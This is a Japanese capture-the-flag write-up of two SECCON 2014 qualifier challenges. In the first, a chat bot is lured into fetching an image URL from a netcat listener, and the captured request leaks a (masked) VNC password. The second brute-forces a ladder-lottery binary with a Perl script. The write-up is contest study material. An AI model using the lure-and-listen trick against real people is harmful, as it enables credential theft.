SECCON2014 オンライン予選 writeup
次の問題に対して簡単にコメントしています。
WebMoney
提供環境
(注) 画像中のモザイクは投稿者がマスク
概要
チャットが出来るインタラクティブな環境
解法
ミソ
実際の手口でも、画像URLを貼ると踏んでくれるという事を利用します。
(画像のように)適当に誘う
受け側マシンでは次の二つを準備
送信ファイル
$ cat responce HTTP/1.1 200 OK ContentType: image/png $ cat seccon_logo.png >> responce
httpdぽいもの
$ while(true) ; do cat responce | sudo nc -l 80; done HEAD /hoge.jpg HTTP/1.1 User-Agent: MyVNCpasswordIs********** Accept: */* Host: ********** Via: 1.1 = (squid/3.3.8) X-Forwarded-For: ********** Cache-Control: max-age=259200 Connection: keep-alive
(注) **********は投稿者がマスク
tcpdump
$ sudo tcpdump -i eth0 tcp port 80 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 17:53:31.876580 IP **********.53520 > **********.http: Flags [S], seq 1072712001, win 29200, options [mss 1460,sackOK,TS val 36432457 ecr 0,nop,wscale 7], length 0
(注) **********は投稿者がマスク
あみだくじ
(注) 解けていません解けました (7/21 21:00 追記)
提供物
$ file amida amida: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped
$ ./amida No.1 1 2 3 4 5 6 7 8 |-| |-| | | |-| | | | | | |-| | | | | | | | |-| |-| | |-| | | | | | |-| |-| |-| |-| | |-| | | | | |-| | |-| |-| |-| |-| | | | | | | | | |-| | | | | |-| | | |-| |-| | | |-| | | | | |-| | |-| | | | | | |-| | | | |-| | | |-| | | | |-| | | |-| | | | | | |-| | | |-| | |-| |-| |-| |-| | | | | | | | | | |-| | * ?
解法
プログラムを作成
回答すべき選択肢が1--8なので、全探索します。
use utf8; use Data::Dumper; use FileHandle; use IPC::Open2; $candidate = $ARGV[0]; while(1){ $pid = open2(*Reader, *Writer, "./amida"); $num = 1; while(<Reader>){ print; if(m/No.(\d+)/){ if($1 != $num){ if( ! -f "$num"){ open(FH, "> $num"); print FH "$candidate\n"; close(FH); print Dumper $num; print Dumper $candidate; } $candidate = $ARGV[0]; } $num = $1; } if(m/\*/){ if(-f "$num"){ open(FH, "< $num"); $ans = readline FH; close(FH); print Writer $ans, "\n"; print $ans, "\n"; } else{ $candidate ++; $candidate -= 8 if $candidate > 8; print $candidate, "\n"; print Writer $candidate, "\n"; } } } }
実行 (バカ並列)
$ perl hoge.pl {1..8}
結果
No.291まで探索しましたけど何も出てこず
(7/21 21:00 追記)
上記8パラで探索すると11時間で最後まで到達。上手くスレッド間同期をすることで、高々1000*8スレッドで一挙に探索できるはず。